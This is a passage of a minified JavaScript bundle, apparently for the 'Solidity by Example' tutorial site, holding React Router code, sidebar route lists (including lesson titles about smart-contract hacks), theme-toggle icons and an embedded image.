j=I.pathname||"/",A=j;if(o!=="/"){let Z=o.replace(/^\//,"").split("/");A="/"+j.replace(/^\//,"").split("/").slice(Z.length).join("/")}let m=LI(s,{pathname:A}),b=Gd(m&&m.map(Z=>Object.assign({},Z,{params:Object.assign({},t,Z.params),pathname:Ra([o,p.encodeLocation?p.encodeLocation(Z.pathname).pathname:Z.pathname]),pathnameBase:Z.pathnameBase==="/"?o:Ra([o,p.encodeLocation?p.encodeLocation(Z.pathnameBase).pathname:Z.pathnameBase])})),e,n,l);return a&&b?B.createElement(vp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Rd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return B.createElement(B.Fragment,null,B.createElement("h2",null,"Unexpected Application Error!"),B.createElement("h3",{style:{fontStyle:"italic"}},a),n?B.createElement("pre",{style:p},n):null,null)}const Zd=B.createElement(kd,null);class Wd extends B.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?B.createElement(un.Provider,{value:this.props.routeContext},B.createElement(og.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Bd(s){let{routeContext:a,match:n,children:l}=s,p=B.useContext(ct);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),B.createElement(un.Provider,{value:a},l)}function Gd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id]));I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let A,m=!1,b=null,Z=null;n&&(A=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(vd("route-fallback",!1),m=!0,Z=null):i===j&&(m=!0,Z=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return A?C=b:m?C=Z:d.route.Component?C=B.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,B.createElement(Bd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?B.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:A,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var ig=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(ig||{}),dp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(dp||{});function Vd(s){let a=B.useContext(ct);return a||P(!1),a}function fd(s){let a=B.useContext(Ad);return a||P(!1),a}function Yd(s){let a=B.useContext(un);return a||P(!1),a}function gg(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Rd(){var s;let a=B.useContext(og),n=fd(dp.UseRouteError),l=gg(dp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Xd(){let{router:s}=Vd(ig.UseNavigateStable),a=gg(dp.UseNavigateStable),n=B.useRef(!1);return rg(()=>{n.current=!0}),B.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Wo={};function vd(s,a,n){!a&&!Wo[s]&&(Wo[s]=!0)}function hg(s){P(!1)}function Nd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=B.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:A=null,key:m="default"}=l,b=B.useMemo(()=>{let Z=cg(I,o);return Z==null?null:{location:{pathname:Z,search:d,hash:j,state:A,key:m},navigationType:p}},[o,I,d,j,A,m,p]);return b==null?null:B.createElement(Xp.Provider,{value:i},B.createElement(vp.Provider,{children:n,value:b}))}function Hd(s){let{children:a,location:n}=s;return bd(oc(a),n)}new Promise(()=>{});function oc(s,a){a===void 0&&(a=[]);let n=[];return B.Children.forEach(s,(l,p)=>{if(!B.isValidElement(l))return;let e=[...a,p];if(l.type===B.Fragment){n.push.apply(n,oc(l.props.children,e));return}l.type!==hg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=oc(l.props.children,e)),n.push(c)}),n}/** + * React Router DOM v6.22.3 * * Copyright (c) Remix Software Inc. * @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function rc(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function KI(s,a){let n=rc(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const SI="startTransition",Bo=Hg[SI];function MI(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=Qd({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},d=W.useCallback(I=>{i&&Bo?Bo(()=>o(I)):o(I)},[o,i]);return W.useLayoutEffect(()=>c.listen(d),[c,d]),W.createElement(HI,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var fo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(fo||(fo={}));function xI(s){let a=W.useRef(rc(s)),n=W.useRef(!1),l=Hp(),p=W.useMemo(()=>KI(l.search,n.current?null:a.current),[l.search]),e=mI(),c=W.useCallback((t,o)=>{const i=rc(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const JI="_component_nqcni_1",zI="_sideNav_nqcni_6",EI="_main_nqcni_13",UI="_children_nqcni_21",Rl={component:JI,sideNav:zI,main:EI,children:UI},TI="_list_1ltry_1",QI="_title_1ltry_6",DI="_listItem_1ltry_11",LI="_listItemActive_1ltry_18",_I="_link_1ltry_26",xa={list:TI,title:QI,listItem:DI,listItemActive:LI,link:_I},OI=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],PI=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$I=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],qI=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],ot=[{title:"",routes:PI.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$I.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qI.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:aC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=ot.map(({routes:s})=>s).flat(),nC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function lC(s){const a=nC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const pC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),ot.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!eg(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},eC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),cC="_component_15x91_1",tC="_a_15x91_13",oC="_center_15x91_16",rC="_logo_15x91_21",iC="_header_15x91_24",gC="_mode_15x91_28",hC="_hamburger_15x91_33",aa={component:cC,a:tC,center:oC,logo:rC,header:iC,mode:gC,hamburger:hC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),IC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),CC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function jC(){const{state:s,setTheme:a,toggleSideNav:n}=et();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(eC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(CC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(IC,{size:20})})]})}const dg="https://cryptojobslist.com/solidity",uC="_component_h47vh_1",yC="_row_h47vh_8",AC="_bar_h47vh_13",mC="_to_h47vh_21",bC="_social_h47vh_24",wC="_sce_h47vh_29",kC="_telegram_h47vh_34",ZC="_discord_h47vh_38",WC="_youTube_h47vh_42",ds={component:uC,row:yC,bar:AC,to:mC,social:bC,sce:wC,telegram:kC,discord:ZC,youTube:WC},GC="data:image/png;base64,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